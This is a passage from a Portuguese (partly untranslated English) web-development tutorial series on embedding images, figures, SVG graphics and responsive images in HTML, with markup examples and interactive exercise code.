roubar a largura de banda de alguém é ilegal. Ele também torna a página mais lenta, deixando você sem controle sobre se a imagem é removida ou substituída por algo embaraçoso.\n\nNosso código acima nos daria o seguinte resultado:\n\n![A basic image of a dinosaur, embedded in a browser, with Images in HTML written above it](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML/basic-image.png)\n\n**Nota:** Elementos como `<img>` e `<video>` às vezes são chamados de elementos substituídos. Isso ocorre porque o conteúdo e o tamanho do elemento são definidos por um recurso externo (como uma imagem ou arquivo de vídeo), não pelo conteúdo do próprio elemento.\n\n**Nota:** Você pode encontrar o exemplo final desta seção running on Github (Veja o source code também.)\n\n### Texto alternativo\n\nO próximo atributo que veremos é `alt`. Seu valor deve ser uma descrição textual da imagem, para uso em situações em que a imagem não pode ser vista/exibida ou leva muito tempo para renderizar devido a uma conexão lenta à Internet. Por exemplo, nosso código acima pode ser modificado da seguinte maneira:\n\n\n```html\n<img\n src=\"images/dinosaur.jpg\"\n alt=\"The head and torso of a dinosaur skeleton;\n it has a large head with long sharp teeth\" />\n```\n\n\nA maneira mais fácil de testar seu texto `alt` é digitar incorretamente seu nome de arquivo. Se, por exemplo, o nome da nossa imagem estivesse escrito `dinosooooor.jpg`, o navegador não exibiria a imagem, mas exibiria o texto alternativo:\n\n![The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place.](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML/alt-text.png)\n\nEntão, por que você veria ou precisaria de texto alternativo? Pode ser útil por vários motivos:\n\n* O usuário é deficiente visual e usa um leitor de tela para ler a web para eles. De fato, ter o texto alternativo disponível para descrever imagens é útil para a maioria dos usuários.\n* Como descrito acima, você pode ter digitado o nome do arquivo ou caminho errado.\n* O navegador não suporta o tipo de imagem. Algumas pessoas ainda usam navegadores somente de texto, como Lynx, que alternativamente exibe o texto alternativo das imagens.\n* Você pode fornecer texto para os mecanismos de pesquisa utilizarem. Por exemplo, os mecanismos de pesquisa podem corresponder o texto alternativo às consultas de pesquisa.\n* Os usuários desativaram as imagens para reduzir o volume e as distrações de transferência de dados. Isso é especialmente comum em telefones celulares e em países onde a largura de banda é limitada e cara.\n\nO que exatamente você deve escrever dentro do seu atributo `alt`? Depende do *por que* a imagem está lá em primeiro lugar. Em outras palavras, o que você perde se sua imagem não aparecer:\n\n* **Decoração.** Se a imagem é apenas decoração e não faz parte do conteúdo, adicione um espaço em branco `alt=\"\"`. Por exemplo, um leitor de tela não perde tempo lendo conteúdo que não é essencial para o usuário. Imagens decorativas realmente não pertencem ao seu HTML. CSS background images deve ser usado para inserir decoração, mas se for inevitável, `alt=\"\"` é o melhor caminho a percorrer.\n* **Conteúdo.** Se sua imagem fornecer informações significativas, forneça as mesmas informações em um *breve* `alt` texto. Ou melhor ainda, no texto principal que todos podem ver. Não escreva redundante `alt` texto. O quão irritante seria para um usuário que enxerga se todos os parágrafos fossem escritos duas vezes no conteúdo principal? Se a imagem for descrita adequadamente pelo corpo do texto principal, você pode simplesmente usar `alt=\"\"`.\n* **Link.** Se você colocar uma imagem dentro das tags `<a>`, para transformar uma imagem em um link, você ainda deve fornecer links acessíveis. Nesses casos, você também pode escrevê-lo no mesmo elemento `<a>`, ou dentro do atributo `alt` da imagem. O que funcionar melhor no seu caso.\n* **Texto.** Você não deve colocar seu texto em imagens. Se o cabeçalho principal precisar de uma sombra projetada, por exemplo, use CSS para isso, em vez de colocar o texto em uma imagem. No entanto, se você *realmente não puder evitar fazer isso*, deve fornecer o texto dentro do atributo `alt`.\n\nEssencialmente, a chave é oferecer uma experiência utilizável, mesmo quando as imagens não podem ser vistas. Isso garante que todos os usuários não estejam perdendo nenhum conteúdo. Tente desativar as imagens no seu navegador e veja como as coisas ficam. Você logo perceberá como o texto alternativo é útil se a imagem não puder ser vista.\n\n**Nota:** Para mais informações, consulte o nosso guia para Textos alternativos.\n\n### Largura e altura\n\nVocê pode usar os atributos `width` e `height`, para especificar a largura e altura da sua imagem. Você pode encontrar a largura e a altura da sua imagem de várias maneiras. Por exemplo, no Mac, você pode usar `Cmd` + `I` para exibir as informações do arquivo de imagem. Voltando ao nosso exemplo, poderíamos fazer isso:\n\n\n```html\n<img\n src=\"images/dinosaur.jpg\"\n alt=\"A cabeça e o tronco de um esqueleto de dinossauro;\n tem uma cabeça grande com dentes longos e afiados\"\n width=\"400\"\n height=\"341\" />\n```\n\n\nIsso não resulta em muita diferença para a tela, em circunstâncias normais. Mas se a imagem não estiver sendo exibida, por exemplo, o usuário acabou de navegar para a página e a imagem ainda não foi carregada, você notará que o navegador está deixando um espaço para a imagem aparecer:\n\n![The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML/alt-text-with-width-height.png)\n\nÉ uma coisa boa a fazer, resultando no carregamento da página mais rápido e sem problemas.\n\nNo entanto, você não deve alterar o tamanho das suas imagens usando atributos HTML. Se você definir o tamanho da imagem muito grande, terá imagens granuladas, confusas ou muito pequenas e desperdiçando largura de banda ao fazer o download de uma imagem que não atenda às necessidades do usuário. A imagem também pode ficar distorcida, se você não mantiver a proporção de tela. Você deve usar um editor de imagens para colocar sua imagem no tamanho correto antes de colocá-la em sua página da web.\n\n**Nota:** Se você precisar alterar o tamanho de uma imagem, use CSS então.\n\n### Títulos de imagem\n\nComo nos links, você também pode adicionar o atributo `title` nas images, para fornecer mais informações de suporte, se necessário. No nosso exemplo, poderíamos fazer isso:\n\n\n```html\n<img\n src=\"images/dinosaur.jpg\"\n alt=\"A cabeça e o tronco de um esqueleto de dinossauro;\n tem uma cabeça grande com dentes longos e afiados\"\n width=\"400\"\n height=\"341\"\n title=\"Um T-Rex em exibição no Museu da Universidade de Manchester\" />\n```\n\n\nIsso nos dá uma dica de ferramenta, assim como os títulos dos links:\n\n![The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum ](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML/image-with-title.png)\n\nOs títulos das imagens não são essenciais para incluir. Geralmente, é melhor incluir essas informações de suporte no texto principal do artigo, em vez de anexá-las à imagem. No entanto, eles são úteis em algumas circunstâncias; por exemplo, em uma galeria de imagens quando você não tem espaço para legendas.\n\n### Aprendizado ativo: incorporando uma imagem\n\nAgora é sua vez de jogar! Esta seção de aprendizado ativo o ajudará a executar com um simples exercício de incorporação. Você é fornecido com um básico `<img>` tag; gostaríamos que você incorporasse a imagem localizada no seguinte URL:\n```\n\nhttps://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg\n```\n\n\nAnteriormente, dissemos para nunca vincular as imagens a outros servidores, mas isso é apenas para fins de aprendizado; portanto, deixaremos você de fora dessa vez.\n\nTambém gostaríamos que você:\n\n* Adicione algum texto alternativo e verifique se ele funciona incorretamente com o URL da imagem.\n* Defina a imagem correta `width` e `height` (dica; isto é 200px largo e 171px altura), experimente outros valores para ver qual é o efeito.\n* Defina um `title` na imagem.\n\nSe você cometer um erro, sempre poderá redefini-lo usando o botão *Reset*. Se você realmente ficar preso, pressione o botão *Show solution* para ver a resposta:\n```\n\n<h2>Input</h2>\n<textarea id=\"code\" class=\"input\"><img></textarea>\n<h2>Output</h2>\n<div class=\"output\"></div>\n<div class=\"controls\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nbody {\n  font-family: \"Open Sans Light\", Helvetica, Arial, sans-serif;\n}\n\n.input,\n.output {\n  width: 90%;\n  height: 10em;\n  padding: 10px;\n  border: 1px solid #0095dd;\n  overflow: auto;\n}\n\nbutton {\n  padding: 10px 10px 10px 0;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar code = textarea.value;\nvar output = document.querySelector(\".output\");\nvar solution = document.getElementById(\"solution\");\n\nfunction drawOutput() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawOutput();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value =\n    '<img src=\"https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur\\_small.jpg\"\\n alt=\"The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth\"\\n width=\"200\"\\n height=\"171\"\\n title=\"A T-Rex on display in the Manchester University Museum\">';\n  drawOutput();\n});\n\ntextarea.addEventListener(\"input\", drawOutput);\nwindow.addEventListener(\"load\", drawOutput);\n```\n\nAnotar imagens com figuras e legendas de figuras\n------------------------------------------------\n\nPor falar em legendas, existem várias maneiras de adicionar uma legenda para acompanhar sua imagem. Por exemplo, não haveria nada para impedi-lo de fazer isso:\n\n\n```html\n<div class=\"figure\">\n  <img\n src=\"images/dinosaur.jpg\"\n alt=\"The head and torso of a dinosaur skeleton;\n it has a large head with long sharp teeth\"\n width=\"400\"\n height=\"341\" />\n\n  <p>A T-Rex on display in the Manchester University Museum.</p>\n</div>\n```\n\n\nEstá tudo bem. Isso contém o conteúdo que você precisa e é bem estiloso usando CSS. Mas há um problema aqui: não há nada que vincule semanticamente a imagem à sua legenda, o que pode causar problemas para os leitores de tela. Por exemplo, quando você tem 50 imagens e legendas, qual legenda combina com qual imagem?\n\nUma solução melhor, é usar os elementos do HTML5 `<figure>` e `<figcaption>`. Eles são criados exatamente para esse propósito: fornecer um contêiner semântico para figuras e vincular claramente a figura à legenda. Nosso exemplo acima, pode ser reescrito assim:\n```\n\n<figure>\n  <img src=\"images/dinosaur.jpg\"\n       alt=\"The head and torso of a dinosaur skeleton;\n            it has a large head with long sharp teeth\"\n       width=\"400\"\n       height=\"341\">\n\n  <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption>\n</figure>\n```\n\n\nO elemento `<figcaption>` informa aos navegadores e à tecnologia de assistência que a legenda descreve o outro conteúdo do elemento `<figure>`.\n\n**Nota:** Do ponto de vista da acessibilidade, legendas e `alt` texto têm papéis distintos. As legendas beneficiam até as pessoas que podem ver a imagem, enquanto `alt` texto fornece a mesma funcionalidade que uma imagem ausente. Portanto, legendas e `alt` texto não deve apenas dizer a mesma coisa, porque ambos aparecem quando a imagem desaparece. Tente desativar as imagens no seu navegador e veja como fica.\n\nUma figura não precisa ser uma imagem. É uma unidade de conteúdo independente que:\n\n* Expressa seu significado de maneira compacta e fácil de entender.\n* Pode ir em vários lugares no fluxo linear da página.\n* Fornece informações essenciais de suporte ao texto principal.\n\nUma figura pode ser várias imagens, um trecho de código, áudio, vídeo, equações, uma tabela ou outra coisa.\n\n### Aprendizado ativo: criando uma figura\n\nNesta seção de aprendizado ativo, gostaríamos que você pegasse o código finalizado da seção de aprendizado ativo anterior e o transformasse em uma figura:\n\n* Envolve em um elemento `<figure>`.\n* Copie o texto do atributo `title`, remova o atributo `title`, e coloque o texto dentro de um elemento `<figcaption>` abaixo da imagem.\n\nSe você cometer um erro, sempre poderá redefini-lo usando o botão *Reset*. Se você realmente ficar preso, pressione o botão *Show solution* para ver a resposta:\n```\n\n<h2>Input</h2>\n<textarea id=\"code\" class=\"input\"></textarea>\n<h2>Output</h2>\n<div class=\"output\"></div>\n<div class=\"controls\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nbody {\n  font-family: \"Open Sans Light\", Helvetica, Arial, sans-serif;\n}\n\n.input,\n.output {\n  width: 90%;\n  height: 10em;\n  padding: 10px;\n  border: 1px solid #0095dd;\n  overflow: auto;\n}\n\nbutton {\n  padding: 10px 10px 10px 0;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar code = textarea.value;\nvar output = document.querySelector(\".output\");\nvar solution = document.getElementById(\"solution\");\n\nfunction drawOutput() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawOutput();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value =\n    '<figure>\\n <img src=\"https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur\\_small.jpg\"\\n alt=\"The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth\"\\n width=\"200\"\\n height=\"171\">\\n <figcaption>A T-Rex on display in the Manchester University Museum</figcaption>\\n</figure>';\n  drawOutput();\n});\n\ntextarea.addEventListener(\"input\", drawOutput);\nwindow.addEventListener(\"load\", drawOutput);\n```\n\nImagens de fundo CSS\n--------------------\n\nVocê também pode usar CSS para incorporar imagens em páginas da web (e JavaScript, mas isso é outra história). A propriedade `background-image` (en-US) do CSS, e outras propriedades `background-*`, são usados para controlar o posicionamento da imagem de fundo. Por exemplo, para colocar uma imagem de plano de fundo em cada parágrafo de uma página, você pode fazer o seguinte:\n\n\n```css\np {\n  background-image: url(\"images/dinosaur.jpg\");\n}\n```\n\n\nA imagem incorporada resultante é sem dúvida mais fácil de posicionar e controlar do que as imagens HTML. Então, por que se preocupar com imagens HTML? Como sugerido acima, as imagens de plano de fundo CSS são apenas para decoração. Se você quiser adicionar algo bonito à sua página para melhorar o visual, tudo bem. No entanto, essas imagens não têm significado semântico. Eles não podem ter nenhum equivalente de texto, são invisíveis para os leitores de tela, etc. É hora das imagens HTML brilharem!\n\nResumindo: se uma imagem tiver significado, em termos de seu conteúdo, você deverá usar uma imagem HTML. Se uma imagem é puramente decorativa, você deve usar imagens de plano de fundo CSS.\n\n**Nota:** Você aprenderá muito mais sobre CSS background images (en-US) no nosso tópico de CSS.\n\nÉ tudo por agora. Cobrimos imagens e legendas em detalhes. No próximo artigo, avançaremos, analisando como usar HTML para incorporar vídeo e áudio em páginas da web.\n\n* Menu: Multimedia and embedding\n* Próxima"}
{"title":"Adicionando vetor gráfico na web - Aprendendo desenvolvimento web","text":"Adicionando vetor gráfico na web\n================================\n\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima\n\nVector graphics are very useful in many circumstances — they have small file sizes and are highly scalable, so they don't pixelate when zoomed in or blown up to a large size. In this article we'll show you how to include one in your webpage.\n\n|  |  |\n| --- | --- |\n| Prerequisites: | \n You should know the\n basics of HTML\n and how to\n insert an image into your document.\n  |\n| Objective: | Learn how to embed an SVG (vector) image into a webpage. |\n\n**Nota:** This article doesn't intend to teach you SVG; just what it is, and how to add it to web pages.\n\nO que são vetores gráficos?\n---------------------------\n\nNa web, você pode trabalhar com dois tipos de imagem — **raster images**, and **vector images**:\n\n* **Imagens Raster** são definidos usando uma grade de pixels — a raster image file contains information showing exactly where each pixel is to be placed, and exactly what color it should be. Popular web raster formats include Bitmap (`.bmp`), PNG (`.png`), JPEG (`.jpg`), and GIF (`.gif`.)\n* **Imagens vetoriais** são definidas usando algoritmos — um arquivo de imagem vetorial contains shape and path definitions that the computer can use to work out what the image should look like when rendered on the screen. The SVG format allows us to create powerful vector graphics for use on the Web.\n\nTo give you an idea of the difference between the two, let's look at an example. You can find this example live on our Github repo as vector-versus-raster.html — it shows two seemingly identical images side by side, of a red star with a black drop shadow. The difference is that the left one is a PNG, and the right one is an SVG image.\n\nThe difference becomes apparent when you zoom in the page — the PNG image becomes pixellated as you zoom in because it contains information on where each pixel should be (and what color). When it is zoomed, each pixel is simply increased in size to fill multiple pixels on screen, so the image starts to look blocky. The vector image however continues to look nice and crisp, because no matter what size it is, the algorithms are used to work out the shapes in the image, with the values simply being scaled as it gets bigger.\n\n![Two star images](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web/raster-vector-default-size.png)\n\n![Two star images zoomed in, one crisp and the other blurry](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web/raster-vector-zoomed.png)\n\n**Nota:** The images above are actually all PNGs — with the left-hand star in each case representing a raster image, and the right-hand star representing a vector image. Again, go to the vector-versus-raster.html demo for a real example!\n\nMoreover, vector image files are much lighter than their raster equivalents, because they only need to hold a handful of algorithms, rather than information on every pixel in the image individually.\n\nWhat is SVG?\n------------\n\nSVG is an XML-based language for describing vector images. It's basically markup, like HTML, except that you've got many different elements for defining the shapes you want to appear in your image, and the effects you want to apply to those shapes. SVG is for marking up graphics, not content. At the simplest end of the spectrum, you've got elements for creating simple shapes, like `<circle>` and `<rect>`. More advanced SVG features include `<feColorMatrix>` (en-US) (transform colors using a transformation matrix,) `<animate>` (animate parts of your vector graphic,) and `<mask>` (apply a mask over the top of your image.)\n\nAs a simple example, the following code creates a circle and a rectangle:\n\n\n```html\n<svg\n version=\"1.1\"\n baseProfile=\"full\"\n width=\"300\"\n height=\"200\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <rect width=\"100%\" height=\"100%\" fill=\"black\" />\n  <circle cx=\"150\" cy=\"100\" r=\"90\" fill=\"blue\" />\n</svg>\n```\n\n\nThis creates the following output:\n\nFrom the example above, you may get the impression that SVG is easy to handcode. Yes, you can handcode simple SVG in a text editor, but for a complex image this quickly starts to get very difficult. For creating SVG images, most people use a vector graphics editor like Inkscape or Illustrator. These packages allow you to create a variety of illustrations using various graphics tools, and create approximations of photos (for example Inkscape's Trace Bitmap feature.)\n\nSVG has some additional advantages besides those described so far:\n\n* Text in vector images remains accessible (which also benefits your SEO).\n* SVGs lend themselves well to styling/scripting, because each component of the image is an element that can be styled via CSS or scripted via JavaScript.\n\nSo why would anyone want to use raster graphics over SVG? Well, SVG does have some disadvantages:\n\n* SVG can get complicated very quickly, meaning that file sizes can grow; complex SVGs can also take significant processing time in the browser.\n* SVG can be harder to create than raster images, depending on what kind of image you are trying to create.\n* SVG is not supported in older browsers, so may not be suitable if you need to support older versions of Internet Explorer with your web site (SVG started being supported as of IE9.)\n\nRaster graphics are arguably better for complex precision images such as photos, for the reasons described above.\n\n**Nota:** In Inkscape, save your files as Plain SVG to save space. Also, please refer to this article describing how to prepare SVGs for the Web.\n\nAdding SVG to your pages\n------------------------\n\nIn this section we'll go through the different ways in which you can add SVG vector graphics to your web pages.\n\n### The quick way: `<img>`\n\nTo embed an SVG via an `<img>` element, you just need to reference it in the src attribute as you'd expect. You will need a `height` or a `width` attribute (or both if your SVG has no inherent aspect ratio). If you have not already done so, please read Images in HTML.\n\n\n```html\n<img\n src=\"equilateral.svg\"\n alt=\"triangle with all three sides equal\"\n height=\"87\"\n width=\"100\" />\n```\n\n\n#### Pros\n\n* Quick, familiar image syntax with built-in text equivalent available in the `alt` attribute.\n* You can make the image into a hyperlink easily by nesting the `<img>` inside an `<a>` element.\n* The SVG file can be cached by the browser, resulting in faster loading times for any page that uses the image loaded in the future.\n\n#### Cons\n\n* You cannot manipulate the image with JavaScript.\n* If you want to control the SVG content with CSS, you must include inline CSS styles in your SVG code. (External stylesheets invoked from the SVG file take no effect.)\n* You cannot restyle the image with CSS pseudoclasses (like `:focus`).\n### Troubleshooting and cross-browser support\n\nFor browsers that don't support SVG (IE 8 and below, Android 2.3 and below), you could reference a PNG or JPG from your `src` attribute and use a `srcset` attribute (which only recent browsers recognize) to reference the SVG. This being the case, only supporting browsers will load the SVG — older browsers will load the PNG instead:\n\n\n```html\n<img\n src=\"equilateral.png\"\n alt=\"triangle with equal sides\"\n srcset=\"equilateral.svg\" />\n```\n\n\nYou can also use SVGs as CSS background images, as shown below. In the below code, older browsers will stick with the PNG that they understand, while newer browsers will load the SVG:\n\n\n```css\nbackground: url(\"fallback.png\") no-repeat center;\nbackground-image: url(\"image.svg\");\nbackground-size: contain;\n```\n\n\nLike the `<img>` method described above, inserting SVGs using CSS background images means that the SVG can't be manipulated with JavaScript, and is also subject to the same CSS limitations.\n\nIf your SVGs aren't showing up at all, it might be because your server isn't set up properly. If that's the problem, this article will point you in the right direction.\n\n### How to include SVG code inside your HTML\n\nYou can also open up the SVG file in a text editor, copy the SVG code, and paste it into your HTML document — this is sometimes called putting your **SVG inline**, or **inlining SVG**. Make sure your SVG code snippet begins and ends with the `<svg></svg>` tags (don't include anything outside those.) Here's a very simple example of what you might paste into your document:\n\n\n```html\n<svg width=\"300\" height=\"200\">\n  <rect width=\"100%\" height=\"100%\" fill=\"green\" />\n</svg>\n```\n\n\n#### Pros\n\n* Putting your SVG inline saves an HTTP request, and therefore can reduce a bit your loading time.\n* You can assign `class`es and `id`s to SVG elements and style them with CSS, either within the SVG or wherever you put the CSS style rules for your HTML document. In fact, you can use any SVG presentation attribute as a CSS property.\n* Inlining SVG is the only approach that lets you use CSS interactions (like `:focus`) and CSS animations on your SVG image (even in your regular stylesheet.)\n* You can make SVG markup into a hyperlink by wrapping it in an `<a>` element.\n\n#### Cons\n\n* This method is only suitable if you're using the SVG in only one place. Duplication makes for resource-intensive maintenance.\n* Extra SVG code increases the size of your HTML file.\n* The browser cannot cache inline SVG as it would cache regular image assets, so pages that include the image will not load faster after the first page containing the image is loaded.\n* You may include fallback in a `<foreignObject>` (en-US) element, but browsers that support SVG still download any fallback images. You need to weigh whether the extra overhead is really worthwhile, just to support obsolescent browsers.\n### How to embed an SVG with an `<iframe>`\n\nYou can open SVG images in your browser just like webpages. So embedding an SVG document with an `<iframe>` is done just like we studied in From <object> to <iframe> — other embedding technologies.\n\nHere's a quick review:\n\n\n```html\n<iframe src=\"triangle.svg\" width=\"500\" height=\"500\" sandbox>\n  <img src=\"triangle.png\" alt=\"Triangle with three unequal sides\" />\n</iframe>\n```\n\n\nThis is definitely not the best method to choose:\n\n#### Cons\n\n* `iframe`s do have a fallback mechanism, as you can see, but browsers only display the fallback if they lack support for `iframe`s altogether.\n* Moreover, unless the SVG and your current webpage have the same origin, you cannot use JavaScript on your main webpage to manipulate the SVG.\nActive Learning: Playing with SVG\n---------------------------------\n\nIn this active learning section we'd like you to simply have a go at playing with some SVG for fun. In the *Input* section below you'll see that we've already provided you with some samples to get you started. You can also go to the SVG Element Reference, find out more details about other toys you can use in SVG, and try those out too. This section is all about practising your research skills, and having some fun.\n\nIf you get stuck and can't get your code working, you can always reset it using the *Reset* button.\n```\n\n<h2>Live output</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Editable code</h2>\n<p class=\"a11y-label\">\n  Press Esc to move focus away from the code area (Tab inserts a tab character).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"width: 95%;min-height: 200px;\">\n  <svg width=\"100%\" height=\"100%\">\n    <rect width=\"100%\" height=\"100%\" fill=\"red\" />\n    <circle cx=\"100%\" cy=\"100%\" r=\"150\" fill=\"blue\" stroke=\"black\" />\n    <polygon points=\"120,0 240,225 0,225\" fill=\"green\"/>\n    <text x=\"50\" y=\"100\" font-family=\"Verdana\" font-size=\"55\"\n fill=\"white\" stroke=\"black\" stroke-width=\"2\">\n            Hello!\n    </text>\n  </svg>\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" disabled />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nconst textarea = document.getElementById(\"code\");\nconst reset = document.getElementById(\"reset\");\nconst solution = document.getElementById(\"solution\");\nconst output = document.querySelector(\".output\");\nlet code = textarea.value;\nlet userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Show solution\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Show solution\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Hide solution\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Show solution\";\n  }\n  updateCode();\n});\n\nconst htmlSolution = \"\";\nlet solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  const scrollPos = textarea.scrollTop;\n  const caretPos = textarea.selectionStart;\n  const front = textarea.value.substring(0, caretPos);\n  const back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Show solution\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\nSummary\n-------\n\nThis article has provided you with a quick tour of what vector graphics and SVG are, why they are useful to know about, and how to include SVG inside your webpages. It was never intended to be a full guide to learning SVG, just a pointer so you know what SVG is if you meet it in your travels around the Web. So don't worry if you don't feel like you are an SVG expert yet. We've included some links below that might help you if you wish to go and find out more about how it works.\n\nIn the last article of this module we will explore responsive images in detail, looking at the tools HTML has to allow you to make your images work better across different devices.\n\nSee also\n--------\n\n* SVG tutorial on MDN\n* Quick tips for responsive SVGs\n* Sara Soueidan's tutorial on responsive SVG images\n* Accessibility benefits of SVG\n* How to scale SVGs (it's not as simple as raster graphics!)\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima"}
{"title":"Imagens responsivas - Aprendendo desenvolvimento web","text":"Imagens responsivas\n===================\n\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima  (en-US)\n\nNeste artigo nós iremos aprender sobre o conceito de imagens responsivas —imagens que funcionam em dispositivos com diferentes tamanhos de tela, resoluções e outras funcionalidades— e entrar em contato com quais ferramentas o HTML oferece para ajudar a implementá-las. Imagens responsivas são apenas uma parte do web design responsivo, um futuro tópico de CSS para você aprender.\n\n| Pré-requisitos: | Você deve ter visto a introdução ao HTML e como adicionar imagens estáticas numa página web. |\n| --- | --- |\n| Objetivo: | Aprender como usar funcionalidades como `srcset` e o elemento `<picture>` para implementar soluções de imagens responsivas em websites. |\n\nPor que imagens responsivas?\n----------------------------\n\nEntão qual o problema nós estamos tentando resolver com imagens responsivas? Vamos examinar um cenário típico. Um típico website provavelmente tem uma imagem de cabeçalho, para ter uma boa aparência para os visitantes, e talvez mais algumas imagens no conteúdo abaixo. Você provavelmente quer fazer uma imagem do cabeçalho em toda a largura do cabeçalho, e o as imagens no conteúdo caiba dentro de alguma coluna. Vamos dar uma olhada em um exemplo simples disso:\n\n![Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/picture-element-wide.png)\n\nIsto funciona bem em um dispositivo de tela grande, como um laptop ou desktop (você pode ver o exemplo ao vivo e encontrar o código-fonte no Github.) Nós não vamos discutir muito o CSS, exceto para dizer que:\n\n* O conteúdo do <body> foi colocado para o máximo de 1200 pixels de largura (width) —em viewports acima, o body continua a 1200 pixels e centrado no espaço disponível. Em viewports abaixo, o body vai usar 100% da largura disponível.\n* A imagem de cabeçalho foi colocada para estar sempre no centro, não importando a largura do título. Então, se a página está sendo vista em uma tela mais estreita, o detalhe importante no centro da imagem (as pessoas) continuam sendo visto, e o excesso é perdido nos lados. E tem 200 pixels de altura.\n* As imagens do conteúdo foram configuradas para caso o elemento body se torne menor que as imagens, então elas começam a diminuir. Assim sempre estarão dentro do body, mesmo que ultrapassando ele.\n\nIsto está bom, mas o problema vem quando você começa a ver a página em uma tela estreita - o cabeçalho parece bom, mas está começando a pegar um tamanho grande para um dispositivo móvel; A primeira imagem do conteúdo por outro lado parece terrível - neste tamanho você mal consegue ver as pessoas nela.\n\n![Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it.](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/non-responsive-narrow.png)\n\nSeria muito melhor mostrar uma versão cortada da imagem que contenha os detalhes importantes quando a página é vista em uma tela estreita, e talvez algo entre as duas para uma tela de largura média como um tablet - isto é comumente conhecido como o **problema de direção artística**.\n\nAinda, não é preciso embutir estas imagens grandes em páginas se será visto em pequenas telas de celulares; isto é chamado de problema de mudança de resolução - uma imagem rasterizada é um número de pixels de largura e um número de pixels de altura; como nós vimos quando olhamos para vetores gráficos, uma imagem rasterizada começa a parecer granulada e horrível se é mostrada maior que seu tamanho original (enquanto que um vetor não). E se isto é mostrado muito menor que seu tamanho original, é um desperdício de largura de banda - usuários mobile especialmente não querem ter que gastar seu pacote de dados baixando uma imagem grande feita para desktop, quando uma imagem pequena poderia ser feita para seu dispositivo. Uma situação ideal seria ter múltiplas resoluções disponíveis e apresentar tamanhos apropriados dependendo dos diferentes dispositivos que acessam a página.\n\nPara tornar as coisas mais complicadas, alguns dispositivos tem uma alta resolução, que demanda imagens maiores do que as que você espera para ficar bom. Isto é essencialmente o mesmo problema, mas em um contexto diferente.\n\nVocê pode pensar que imagens vetorizadas resolveria estes problemas, e elas resolvem em certo grau - elas têm um tamanho pequeno e se adaptam bem, e você deveria usá-las sempre que possível. Mas elas não são possíveis para todos os tipos de imagem - enquanto elas são ótimas para gráficos 